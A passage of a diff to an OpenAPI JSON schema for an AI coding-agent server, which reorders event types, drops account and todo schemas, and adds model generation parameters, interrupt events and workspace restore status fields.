"#/components/schemas/EventTodoUpdated" + "$ref": "#/components/schemas/EventReferenceUpdated" }, { - "$ref": "#/components/schemas/EventSessionStatus" - }, - { - "$ref": "#/components/schemas/EventSessionIdle" - }, - { - "$ref": "#/components/schemas/EventSessionCompacted" - }, - { - "$ref": "#/components/schemas/EventCommandExecuted" - }, - { - "$ref": "#/components/schemas/EventProjectDirectoriesUpdated" - }, - { - "$ref": "#/components/schemas/EventProjectUpdated" - }, - { - "$ref": "#/components/schemas/EventLspUpdated" - }, - { - "$ref": "#/components/schemas/EventFileEdited" - }, - { - "$ref": "#/components/schemas/EventFileWatcherUpdated" - }, - { - "$ref": "#/components/schemas/EventVcsBranchUpdated" - }, - { - "$ref": "#/components/schemas/EventWorkspaceReady" - }, - { - "$ref": "#/components/schemas/EventWorkspaceFailed" - }, - { - "$ref": "#/components/schemas/EventWorkspaceStatus" - }, - { - "$ref": "#/components/schemas/EventWorktreeReady" - }, - { - "$ref": "#/components/schemas/EventWorktreeFailed" - }, - { - "$ref": "#/components/schemas/EventAccountAdded" - }, - { - "$ref": "#/components/schemas/EventAccountRemoved" - }, - { - "$ref": "#/components/schemas/EventAccountSwitched" + "$ref": "#/components/schemas/EventIntegrationUpdated" }, { "$ref": "#/components/schemas/EventPermissionV2Asked" @@ -25455,6 +27143,15 @@ { "$ref": "#/components/schemas/EventPermissionV2Replied" }, + { + "$ref": "#/components/schemas/EventProjectDirectoriesUpdated" + }, + { + "$ref": "#/components/schemas/EventFileEdited" + }, + { + "$ref": "#/components/schemas/EventFileWatcherUpdated" + }, { "$ref": "#/components/schemas/EventPtyCreated" }, @@ -25476,6 +27173,45 @@ { "$ref": "#/components/schemas/EventQuestionV2Rejected" }, + { + "$ref": "#/components/schemas/EventTodoUpdated" + }, + { + "$ref": "#/components/schemas/EventSessionStatus" + }, + { + "$ref": "#/components/schemas/EventSessionIdle" + }, + { + "$ref": "#/components/schemas/EventSessionCompacted" + }, + { + "$ref": "#/components/schemas/EventCommandExecuted" + }, + { + "$ref": "#/components/schemas/EventProjectUpdated" + }, + { + "$ref": "#/components/schemas/EventLspUpdated" + }, + { + "$ref": "#/components/schemas/EventVcsBranchUpdated" + }, + { + "$ref": "#/components/schemas/EventWorkspaceReady" + }, + { + "$ref": "#/components/schemas/EventWorkspaceFailed" + }, + { + "$ref": "#/components/schemas/EventWorkspaceStatus" + }, + { + "$ref": "#/components/schemas/EventWorktreeReady" + }, + { + "$ref": "#/components/schemas/EventWorktreeFailed" + }, { "$ref": "#/components/schemas/EventServerInstanceDisposed" }, @@ -25575,9 +27311,6 @@ { "$ref": "#/components/schemas/SyncEventSessionNextCompactionStarted" }, - { - "$ref": "#/components/schemas/SyncEventSessionNextCompactionDelta" - }, { "$ref": "#/components/schemas/SyncEventSessionNextCompactionEnded" } @@ -25618,44 +27351,6 @@ "additionalProperties": false, "description": "Server configuration for the kilo serve command" }, - "ReferenceConfigEntry": { - "anyOf": [ - { - "type": "string" - }, - { - "type": "object", - "properties": { - "repository": { - "type": "string", - "description": "Git repository URL, host/path reference, or GitHub owner/repo shorthand" - }, - "branch": { - "type": "string" - } - }, - "required": ["repository"], - "additionalProperties": false - }, - { - "type": "object", - "properties": { - "path": { - "type": "string", - "description": "Absolute path, ~/ path, or workspace-relative path to a local reference directory" - } - }, - "required": ["path"], - "additionalProperties": false - } - ] - }, - "ReferenceConfig": { - "type": "object", - "additionalProperties": { - "$ref": "#/components/schemas/ReferenceConfigEntry" - } - }, "IndexingConfig": { "type": "object", "properties": { @@ -25850,7 +27545,8 @@ "items": { "type": "string", "pattern": "^\\s*\\.?[A-Za-z0-9][A-Za-z0-9_+-]*\\s*$" - } + }, + "minItems": 1 } }, "additionalProperties": false @@ -26213,7 +27909,7 @@ "properties": { "field": { "type": "string", - "enum": ["reasoning_content", "reasoning_details"] + "enum": ["reasoning", "reasoning_content", "reasoning_details"] } }, "required": ["field"], @@ -26539,8 +28235,37 @@ }, "additionalProperties": false }, + "references": { + "type": "object", + "additionalProperties": { + "anyOf": [ + { + "type": "string" + }, + { + "$ref": "#/components/schemas/ConfigV2ReferenceGit" + }, + { + "$ref": "#/components/schemas/ConfigV2ReferenceLocal" + } + ] + } + }, "reference": { - "$ref": "#/components/schemas/ReferenceConfig" + "type": "object", + "additionalProperties": { + "anyOf": [ + { + "type": "string" + }, + { + "$ref": "#/components/schemas/ConfigV2ReferenceGit" + }, + { + "$ref": "#/components/schemas/ConfigV2ReferenceLocal" + } + ] + } }, "watcher": { "type": "object", @@ -26647,6 +28372,10 @@ "hide_prompt_training_models": { "type": "boolean" }, + "web_search": { + "type": "boolean", + "description": "Make web search available to models from all providers (default: false)" + }, "sandbox": { "type": "object", "properties": { @@ -26905,9 +28634,6 @@ "type": "boolean" } }, - "web_search": { - "type": "boolean" - }, "attachment": { "$ref": "#/components/schemas/AttachmentConfig" }, @@ -27164,7 +28890,7 @@ "properties": { "field": { "type": "string", - "enum": ["reasoning_content", "reasoning_details"] + "enum": ["reasoning", "reasoning_content", "reasoning_details"] } }, "required": ["field"], @@ -27809,6 +29535,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -28494,27 +30224,6 @@ "required": ["_tag", "projectID", "message"], "additionalProperties": false }, - "ProjectCopyError": { - "type": "object", - "properties": { - "name": { - "type": "string", - "enum": ["ProjectCopyError"] - }, - "data": { - "type": "object", - "properties": { - "message": { - "type": "string" - } - }, - "required": ["message"], - "additionalProperties": false - } - }, - "required": ["name", "data"], - "additionalProperties": false - }, "PtyNotFoundError": { "type": "object", "properties": { @@ -28977,6 +30686,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -29146,6 +30859,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -29174,25 +30891,6 @@ } } }, - "Todo": { - "type": "object", - "properties": { - "content": { - "type": "string", - "description": "Brief description of the task" - }, - "status": { - "type": "string", - "description": "Current status of the task: pending, in_progress, completed, cancelled" - }, - "priority": { - "type": "string", - "description": "Priority level of the task: high, medium, low" - } - }, - "required": ["content", "status", "priority"], - "additionalProperties": false - }, "Session3": { "type": "object", "properties": { @@ -29353,6 +31051,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -29522,6 +31224,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -29691,6 +31397,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -29860,6 +31570,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -30029,6 +31743,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -30360,6 +32078,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -30529,6 +32251,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -31425,6 +33151,16 @@ "required": ["_tag"], "additionalProperties": false }, + "CloudSessionImportError": { + "type": "object", + "properties": { + "error": { + "type": "string" + } + }, + "required": ["error"], + "additionalProperties": false + }, "AgentRequirementResult": { "type": "object", "properties": { @@ -32361,7 +34097,7 @@ "required": ["_tag", "message"], "additionalProperties": false }, - "V2SessionsResponse": { + "SessionsResponse": { "type": "object", "properties": { "data": { @@ -32451,7 +34187,7 @@ "required": ["_tag", "message"], "additionalProperties": false }, - "V2SessionMessagesResponse": { + "SessionMessagesResponse": { "type": "object", "properties": { "data": { @@ -32493,6 +34229,30 @@ "required": ["_tag", "providerID", "message"], "additionalProperties": false }, + "ProjectCopyError": { + "type": "object", + "properties": { + "name": { + "type": "string", + "enum": ["ProjectCopyError"] + }, + "data": { + "type": "object", + "properties": { + "message": { + "type": "string" + }, + "forceRequired": { + "type": "boolean" + } + }, + "required": ["message"], + "additionalProperties": false + } + }, + "required": ["name", "data"], + "additionalProperties": false + }, "effect_HttpApiError_Forbidden": { "type": "object", "properties": { @@ -34539,6 +36299,182 @@ "body": { "type": "object" }, + "generation": { + "type": "object", + "properties": { + "maxTokens": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "temperature": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "topP": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "topK": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "frequencyPenalty": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "presencePenalty": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "seed": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "stop": { + "type": "array", + "items": { + "type": "string" + } + } + }, + "additionalProperties": false + }, + "options": { + "type": "object" + }, "variant": { "type": "string" } @@ -34562,6 +36498,182 @@ }, "body": { "type": "object" + }, + "generation": { + "type": "object", + "properties": { + "maxTokens": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "temperature": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "topP": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "topK": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "frequencyPenalty": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "presencePenalty": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "seed": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "stop": { + "type": "array", + "items": { + "type": "string" + } + } + }, + "additionalProperties": false + }, + "options": { + "type": "object" } }, "required": ["id", "headers", "body"], @@ -35092,41 +37204,6 @@ "required": ["name"], "additionalProperties": false }, - "PromptReferenceAttachment": { - "type": "object", - "properties": { - "name": { - "type": "string" - }, - "kind": { - "type": "string", - "enum": ["local", "git", "invalid"] - }, - "uri": { - "type": "string" - }, - "repository": { - "type": "string" - }, - "branch": { - "type": "string" - }, - "target": { - "type": "string" - }, - "targetUri": { - "type": "string" - }, - "problem": { - "type": "string" - }, - "source": { - "$ref": "#/components/schemas/PromptSource" - } - }, - "required": ["name", "kind"], - "additionalProperties": false - }, "EventSessionNextPrompted": { "type": "object", "properties": { @@ -35243,6 +37320,34 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, + "EventSessionNextInterruptRequested": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["session.next.interrupt.requested"] + }, + "properties": { + "type": "object", + "properties": { + "timestamp": { + "type": "number" + }, + "sessionID": { + "type": "string", + "pattern": "^ses" + } + }, + "required": ["timestamp", "sessionID"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, "EventSessionNextContextUpdated": { "type": "object", "properties": { @@ -35984,51 +38089,8 @@ "type": "string", "enum": ["file"] }, - "source": { - "anyOf": [ - { - "type": "object", - "properties": { - "type": { - "type": "string", - "enum": ["data"] - }, - "data": { - "type": "string" - } - }, - "required": ["type", "data"], - "additionalProperties": false - }, - { - "type": "object", - "properties": { - "type": { - "type": "string", - "enum": ["url"] - }, - "url": { - "type": "string" - } - }, - "required": ["type", "url"], - "additionalProperties": false - }, - { - "type": "object", - "properties": { - "type": { - "type": "string", - "enum": ["file"] - }, - "uri": { - "type": "string" - } - }, - "required": ["type", "uri"], - "additionalProperties": false - } - ] + "uri": { + "type": "string" }, "mime": { "type": "string" @@ -36037,7 +38099,7 @@ "type": "string" } }, - "required": ["type", "source", "mime"], + "required": ["type", "uri", "mime"], "additionalProperties": false }, "EventSessionNextToolProgress": { @@ -36134,6 +38196,12 @@ ] } }, + "outputPaths": { + "type": "array", + "items": { + "type": "string" + } + }, "result": {}, "provider": { "type": "object", @@ -36335,11 +38403,15 @@ "type": "string", "pattern": "^ses" }, + "messageID": { + "type": "string", + "pattern": "^msg_" + }, "text": { "type": "string" } }, - "required": ["timestamp", "sessionID", "text"], + "required": ["timestamp", "sessionID", "messageID", "text"], "additionalProperties": false } }, @@ -36366,9 +38438,20 @@ "type": "string", "pattern": "^ses" }, + "messageID": { + "type": "string", + "pattern": "^msg_" + }, + "reason": { + "type": "string", + "enum": ["auto", "manual"] + }, "text": { "type": "string" }, + "recent": { + "type": "string" + }, "include": { "type": "string" } @@ -36644,6 +38727,9 @@ { "$ref": "#/components/schemas/ContextOverflowError" }, + { + "$ref": "#/components/schemas/ContentFilterError" + }, { "$ref": "#/components/schemas/APIError" }, @@ -36818,26 +38904,7 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, - "SessionTodoInfo": { - "type": "object", - "properties": { - "content": { - "type": "string", - "description": "Brief description of the task" - }, - "status": { - "type": "string", - "description": "Current status of the task: pending, in_progress, completed, cancelled" - }, - "priority": { - "type": "string", - "description": "Priority level of the task: high, medium, low" - } - }, - "required": ["content", "status", "priority"], - "additionalProperties": false - }, - "EventTodoUpdated": { + "EventReferenceUpdated": { "type": "object", "properties": { "id": { @@ -36845,259 +38912,7 @@ }, "type": { "type": "string", - "enum": ["todo.updated"] - }, - "properties": { - "type": "object", - "properties": { - "sessionID": { - "type": "string", - "pattern": "^ses" - }, - "todos": { - "type": "array", - "items": { - "$ref": "#/components/schemas/SessionTodoInfo" - } - } - }, - "required": ["sessionID", "todos"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventSessionStatus": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["session.status"] - }, - "properties": { - "type": "object", - "properties": { - "sessionID": { - "type": "string", - "pattern": "^ses" - }, - "status": { - "$ref": "#/components/schemas/SessionStatus" - } - }, - "required": ["sessionID", "status"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventSessionIdle": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["session.idle"] - }, - "properties": { - "type": "object", - "properties": { - "sessionID": { - "type": "string", - "pattern": "^ses" - } - }, - "required": ["sessionID"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventSessionCompacted": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["session.compacted"] - }, - "properties": { - "type": "object", - "properties": { - "sessionID": { - "type": "string", - "pattern": "^ses" - } - }, - "required": ["sessionID"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventCommandExecuted": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["command.executed"] - }, - "properties": { - "type": "object", - "properties": { - "name": { - "type": "string" - }, - "sessionID": { - "type": "string", - "pattern": "^ses" - }, - "arguments": { - "type": "string" - }, - "messageID": { - "type": "string", - "pattern": "^msg" - } - }, - "required": ["name", "sessionID", "arguments", "messageID"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventProjectDirectoriesUpdated": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["project.directories.updated"] - }, - "properties": { - "type": "object", - "properties": { - "projectID": { - "type": "string" - } - }, - "required": ["projectID"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventProjectUpdated": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["project.updated"] - }, - "properties": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "worktree": { - "type": "string" - }, - "vcs": { - "type": "string", - "enum": ["git"] - }, - "name": { - "type": "string" - }, - "icon": { - "type": "object", - "properties": { - "url": { - "type": "string" - }, - "override": { - "type": "string" - }, - "color": { - "type": "string" - } - }, - "additionalProperties": false - }, - "commands": { - "type": "object", - "properties": { - "start": { - "type": "string", - "description": "Startup script to run when creating a new workspace (worktree)" - } - }, - "additionalProperties": false - }, - "time": { - "type": "object", - "properties": { - "created": { - "type": "integer", - "minimum": 0 - }, - "updated": { - "type": "integer", - "minimum": 0 - }, - "initialized": { - "type": "integer", - "minimum": 0 - } - }, - "required": ["created", "updated"], - "additionalProperties": false - }, - "sandboxes": { - "type": "array", - "items": { - "type": "string" - } - } - }, - "required": ["id", "worktree", "time", "sandboxes"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventLspUpdated": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["lsp.updated"] + "enum": ["reference.updated"] }, "properties": { "type": "object", @@ -37107,7 +38922,7 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, - "EventFileEdited": { + "EventIntegrationUpdated": { "type": "object", "properties": { "id": { @@ -37115,347 +38930,11 @@ }, "type": { "type": "string", - "enum": ["file.edited"] + "enum": ["integration.updated"] }, "properties": { "type": "object", - "properties": { - "file": { - "type": "string" - } - }, - "required": ["file"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventFileWatcherUpdated": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["file.watcher.updated"] - }, - "properties": { - "type": "object", - "properties": { - "file": { - "type": "string" - }, - "event": { - "type": "string", - "enum": ["add", "change", "unlink"] - } - }, - "required": ["file", "event"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventVcsBranchUpdated": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["vcs.branch.updated"] - }, - "properties": { - "type": "object", - "properties": { - "branch": { - "type": "string" - } - }, - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventWorkspaceReady": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["workspace.ready"] - }, - "properties": { - "type": "object", - "properties": { - "name": { - "type": "string" - } - }, - "required": ["name"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventWorkspaceFailed": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["workspace.failed"] - }, - "properties": { - "type": "object", - "properties": { - "message": { - "type": "string" - } - }, - "required": ["message"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventWorkspaceStatus": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["workspace.status"] - }, - "properties": { - "type": "object", - "properties": { - "workspaceID": { - "type": "string", - "pattern": "^wrk" - }, - "status": { - "type": "string", - "enum": ["connected", "connecting", "disconnected", "error"] - } - }, - "required": ["workspaceID", "status"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventWorktreeReady": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["worktree.ready"] - }, - "properties": { - "type": "object", - "properties": { - "name": { - "type": "string" - }, - "branch": { - "type": "string" - } - }, - "required": ["name"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventWorktreeFailed": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["worktree.failed"] - }, - "properties": { - "type": "object", - "properties": { - "message": { - "type": "string" - } - }, - "required": ["message"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "AuthOAuthCredential": { - "type": "object", - "properties": { - "type": { - "type": "string", - "enum": ["oauth"] - }, - "refresh": { - "type": "string" - }, - "access": { - "type": "string" - }, - "expires": { - "type": "integer", - "minimum": 0 - }, - "accountId": { - "type": "string" - } - }, - "required": ["type", "refresh", "access", "expires"], - "additionalProperties": false - }, - "AuthApiKeyCredential": { - "type": "object", - "properties": { - "type": { - "type": "string", - "enum": ["api"] - }, - "key": { - "type": "string" - }, - "metadata": { - "type": "object", - "additionalProperties": { - "type": "string" - } - } - }, - "required": ["type", "key"], - "additionalProperties": false - }, - "AuthCredential": { - "anyOf": [ - { - "$ref": "#/components/schemas/AuthOAuthCredential" - }, - { - "$ref": "#/components/schemas/AuthApiKeyCredential" - } - ] - }, - "AuthInfo": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "serviceID": { - "type": "string" - }, - "description": { - "type": "string" - }, - "credential": { - "$ref": "#/components/schemas/AuthCredential" - } - }, - "required": ["id", "serviceID", "description", "credential"], - "additionalProperties": false - }, - "EventAccountAdded": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["account.added"] - }, - "properties": { - "type": "object", - "properties": { - "account": { - "$ref": "#/components/schemas/AuthInfo" - } - }, - "required": ["account"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventAccountRemoved": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["account.removed"] - }, - "properties": { - "type": "object", - "properties": { - "account": { - "$ref": "#/components/schemas/AuthInfo" - } - }, - "required": ["account"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventAccountSwitched": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["account.switched"] - }, - "properties": { - "type": "object", - "properties": { - "serviceID": { - "type": "string" - }, - "from": { - "type": "string" - }, - "to": { - "type": "string" - } - }, - "required": ["serviceID"], - "additionalProperties": false + "properties": {} } }, "required": ["id", "type", "properties"], @@ -37564,6 +39043,82 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, + "EventProjectDirectoriesUpdated": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["project.directories.updated"] + }, + "properties": { + "type": "object", + "properties": { + "projectID": { + "type": "string" + } + }, + "required": ["projectID"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventFileEdited": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["file.edited"] + }, + "properties": { + "type": "object", + "properties": { + "file": { + "type": "string" + } + }, + "required": ["file"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventFileWatcherUpdated": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["file.watcher.updated"] + }, + "properties": { + "type": "object", + "properties": { + "file": { + "type": "string" + }, + "event": { + "type": "string", + "enum": ["add", "change", "unlink"] + } + }, + "required": ["file", "event"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, "EventPtyCreated": { "type": "object", "properties": { @@ -37831,6 +39386,403 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, + "EventTodoUpdated": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["todo.updated"] + }, + "properties": { + "type": "object", + "properties": { + "sessionID": { + "type": "string", + "pattern": "^ses" + }, + "todos": { + "type": "array", + "items": { + "$ref": "#/components/schemas/Todo" + } + } + }, + "required": ["sessionID", "todos"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventSessionStatus": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["session.status"] + }, + "properties": { + "type": "object", + "properties": { + "sessionID": { + "type": "string", + "pattern": "^ses" + }, + "status": { + "$ref": "#/components/schemas/SessionStatus" + } + }, + "required": ["sessionID", "status"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventSessionIdle": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["session.idle"] + }, + "properties": { + "type": "object", + "properties": { + "sessionID": { + "type": "string", + "pattern": "^ses" + } + }, + "required": ["sessionID"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventSessionCompacted": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["session.compacted"] + }, + "properties": { + "type": "object", + "properties": { + "sessionID": { + "type": "string", + "pattern": "^ses" + } + }, + "required": ["sessionID"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventCommandExecuted": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["command.executed"] + }, + "properties": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "sessionID": { + "type": "string", + "pattern": "^ses" + }, + "arguments": { + "type": "string" + }, + "messageID": { + "type": "string", + "pattern": "^msg" + } + }, + "required": ["name", "sessionID", "arguments", "messageID"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventProjectUpdated": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["project.updated"] + }, + "properties": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "worktree": { + "type": "string" + }, + "vcs": { + "type": "string", + "enum": ["git"] + }, + "name": { + "type": "string" + }, + "icon": { + "type": "object", + "properties": { + "url": { + "type": "string" + }, + "override": { + "type": "string" + }, + "color": { + "type": "string" + } + }, + "additionalProperties": false + }, + "commands": { + "type": "object", + "properties": { + "start": { + "type": "string", + "description": "Startup script to run when creating a new workspace (worktree)" + } + }, + "additionalProperties": false + }, + "time": { + "type": "object", + "properties": { + "created": { + "type": "integer", + "minimum": 0 + }, + "updated": { + "type": "integer", + "minimum": 0 + }, + "initialized": { + "type": "integer", + "minimum": 0 + } + }, + "required": ["created", "updated"], + "additionalProperties": false + }, + "sandboxes": { + "type": "array", + "items": { + "type": "string" + } + } + }, + "required": ["id", "worktree", "time", "sandboxes"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventLspUpdated": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["lsp.updated"] + }, + "properties": { + "type": "object", + "properties": {} + } + }, + "required": ["id", "type", 